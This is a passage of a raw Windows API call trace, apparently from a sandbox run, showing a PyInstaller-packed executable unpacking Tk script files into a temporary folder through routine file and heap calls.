CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.832] GetLastError () returned 0x2 [0043.832] SetLastError (dwErrCode=0x2) [0043.832] GetLastError () returned 0x2 [0043.832] SetLastError (dwErrCode=0x2) [0043.832] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk", lpFilePart=0x0) returned 0x2f [0043.832] GetLastError () returned 0x2 [0043.832] SetLastError (dwErrCode=0x2) [0043.832] GetLastError () returned 0x2 [0043.832] SetLastError (dwErrCode=0x2) [0043.832] GetLastError () returned 0x2 [0043.832] SetLastError (dwErrCode=0x2) [0043.832] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), lpSecurityAttributes=0x0) returned 1 [0043.832] GetLastError () returned 0x2 [0043.832] SetLastError (dwErrCode=0x2) [0043.832] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\bgerror.tcl") returned 60 [0043.832] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\bgerror.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\bgerror.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.832] GetLastError () returned 0x2 [0043.832] SetLastError (dwErrCode=0x2) [0043.833] GetLastError () returned 0x2 [0043.833] SetLastError (dwErrCode=0x2) [0043.833] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\bgerror.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\bgerror.tcl", lpFilePart=0x0) returned 0x3b [0043.833] GetLastError () returned 0x2 [0043.833] SetLastError (dwErrCode=0x2) [0043.833] GetLastError () returned 0x2 [0043.833] SetLastError (dwErrCode=0x2) [0043.833] GetLastError () returned 0x2 [0043.833] SetLastError (dwErrCode=0x2) [0043.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\bgerror.tcl") returned 60 [0043.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\bgerror.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\bgerror.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.833] GetFileType (hFile=0x10c) returned 0x1 [0043.833] htonl (hostlong=0xb71f0000) returned 0x1fb7 [0043.833] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0043.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.834] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xfb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb7, lpOverlapped=0x0) returned 1 [0043.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.834] CloseHandle (hObject=0x10c) returned 1 [0043.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.834] htonl (hostlong=0x30000000) returned 0x30 [0043.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.835] GetFileType (hFile=0x10c) returned 0x1 [0043.835] htonl (hostlong=0x4f535d00) returned 0x5d534f [0043.835] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x62034f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.835] htonl (hostlong=0xe10b0000) returned 0xbe1 [0043.835] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe1) returned 0x55e278 [0043.835] htonl (hostlong=0xe10b0000) returned 0xbe1 [0043.835] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.835] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.835] htonl (hostlong=0xa64e0000) returned 0x4ea6 [0043.835] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4ea6) returned 0x562098 [0043.835] htonl (hostlong=0xe10b0000) returned 0xbe1 [0043.835] htonl (hostlong=0xa64e0000) returned 0x4ea6 [0043.835] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x566f48 [0043.835] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566f48 | out: hHeap=0x530000) returned 1 [0043.835] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0043.835] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.835] CloseHandle (hObject=0x10c) returned 1 [0043.835] GetLastError () returned 0x0 [0043.836] SetLastError (dwErrCode=0x0) [0043.836] GetLastError () returned 0x0 [0043.836] SetLastError (dwErrCode=0x0) [0043.836] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0043.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.836] GetFileType (hFile=0x10c) returned 0x1 [0043.836] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.836] CloseHandle (hObject=0x10c) returned 1 [0043.836] GetLastError () returned 0x0 [0043.836] SetLastError (dwErrCode=0x0) [0043.836] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\button.tcl") returned 59 [0043.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\button.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\button.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.836] GetLastError () returned 0x2 [0043.836] SetLastError (dwErrCode=0x2) [0043.836] GetLastError () returned 0x2 [0043.836] SetLastError (dwErrCode=0x2) [0043.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\button.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\button.tcl", lpFilePart=0x0) returned 0x3a [0043.837] GetLastError () returned 0x2 [0043.837] SetLastError (dwErrCode=0x2) [0043.837] GetLastError () returned 0x2 [0043.837] SetLastError (dwErrCode=0x2) [0043.837] GetLastError () returned 0x2 [0043.837] SetLastError (dwErrCode=0x2) [0043.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\button.tcl") returned 59 [0043.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\button.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\button.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.837] GetFileType (hFile=0x10c) returned 0x1 [0043.837] htonl (hostlong=0xa64e0000) returned 0x4ea6 [0043.837] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x4000, lpOverlapped=0x0) returned 1 [0043.838] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.838] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xea6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xea6, lpOverlapped=0x0) returned 1 [0043.838] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.838] CloseHandle (hObject=0x10c) returned 1 [0043.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.839] htonl (hostlong=0x20000000) returned 0x20 [0043.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.839] GetFileType (hFile=0x10c) returned 0x1 [0043.839] htonl (hostlong=0x305f5d00) returned 0x5d5f30 [0043.840] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x620f30, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.840] htonl (hostlong=0xee0b0000) returned 0xbee [0043.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbee) returned 0x55e278 [0043.840] htonl (hostlong=0xee0b0000) returned 0xbee [0043.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.840] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.840] htonl (hostlong=0xac250000) returned 0x25ac [0043.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x25ac) returned 0x562098 [0043.841] htonl (hostlong=0xee0b0000) returned 0xbee [0043.841] htonl (hostlong=0xac250000) returned 0x25ac [0043.841] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564650 [0043.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564650 | out: hHeap=0x530000) returned 1 [0043.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0043.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.843] CloseHandle (hObject=0x10c) returned 1 [0043.843] GetLastError () returned 0x0 [0043.843] SetLastError (dwErrCode=0x0) [0043.843] GetLastError () returned 0x0 [0043.843] SetLastError (dwErrCode=0x0) [0043.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0043.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.844] GetFileType (hFile=0x10c) returned 0x1 [0043.844] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.844] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.844] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.844] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.844] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.844] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.844] CloseHandle (hObject=0x10c) returned 1 [0043.844] GetLastError () returned 0x0 [0043.844] SetLastError (dwErrCode=0x0) [0043.844] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\choosedir.tcl") returned 62 [0043.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\choosedir.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\choosedir.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.844] GetLastError () returned 0x2 [0043.844] SetLastError (dwErrCode=0x2) [0043.844] GetLastError () returned 0x2 [0043.844] SetLastError (dwErrCode=0x2) [0043.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\choosedir.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\choosedir.tcl", lpFilePart=0x0) returned 0x3d [0043.844] GetLastError () returned 0x2 [0043.844] SetLastError (dwErrCode=0x2) [0043.844] GetLastError () returned 0x2 [0043.844] SetLastError (dwErrCode=0x2) [0043.844] GetLastError () returned 0x2 [0043.845] SetLastError (dwErrCode=0x2) [0043.845] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\choosedir.tcl") returned 62 [0043.845] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\choosedir.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\choosedir.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.322] GetFileType (hFile=0x10c) returned 0x1 [0044.322] htonl (hostlong=0xac250000) returned 0x25ac [0044.322] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0044.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.323] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x5ac, lpOverlapped=0x0) returned 1 [0044.324] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.324] CloseHandle (hObject=0x10c) returned 1 [0044.324] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.324] htonl (hostlong=0x30000000) returned 0x30 [0044.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.324] GetFileType (hFile=0x10c) returned 0x1 [0044.324] htonl (hostlong=0x1e6b5d00) returned 0x5d6b1e [0044.324] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x621b1e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.324] htonl (hostlong=0x1a170000) returned 0x171a [0044.324] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x171a) returned 0x561090 [0044.324] htonl (hostlong=0x1a170000) returned 0x171a [0044.324] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0044.324] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x5627b8 [0044.324] ReadFile (in: hFile=0x10c, lpBuffer=0x5627b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x5627b8*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.325] htonl (hostlong=0x35530000) returned 0x5335 [0044.325] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5335) returned 0x5637c0 [0044.325] htonl (hostlong=0x1a170000) returned 0x171a [0044.325] htonl (hostlong=0x35530000) returned 0x5335 [0044.325] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x568b00 [0044.325] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x568b00 | out: hHeap=0x530000) returned 1 [0044.325] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5627b8 | out: hHeap=0x530000) returned 1 [0044.328] CloseHandle (hObject=0x10c) returned 1 [0044.328] GetLastError () returned 0x0 [0044.328] SetLastError (dwErrCode=0x0) [0044.328] GetLastError () returned 0x0 [0044.328] SetLastError (dwErrCode=0x0) [0044.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.329] GetFileType (hFile=0x10c) returned 0x1 [0044.329] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.329] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.329] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.329] CloseHandle (hObject=0x10c) returned 1 [0044.329] GetLastError () returned 0x0 [0044.329] SetLastError (dwErrCode=0x0) [0044.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\clrpick.tcl") returned 60 [0044.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\clrpick.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\clrpick.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 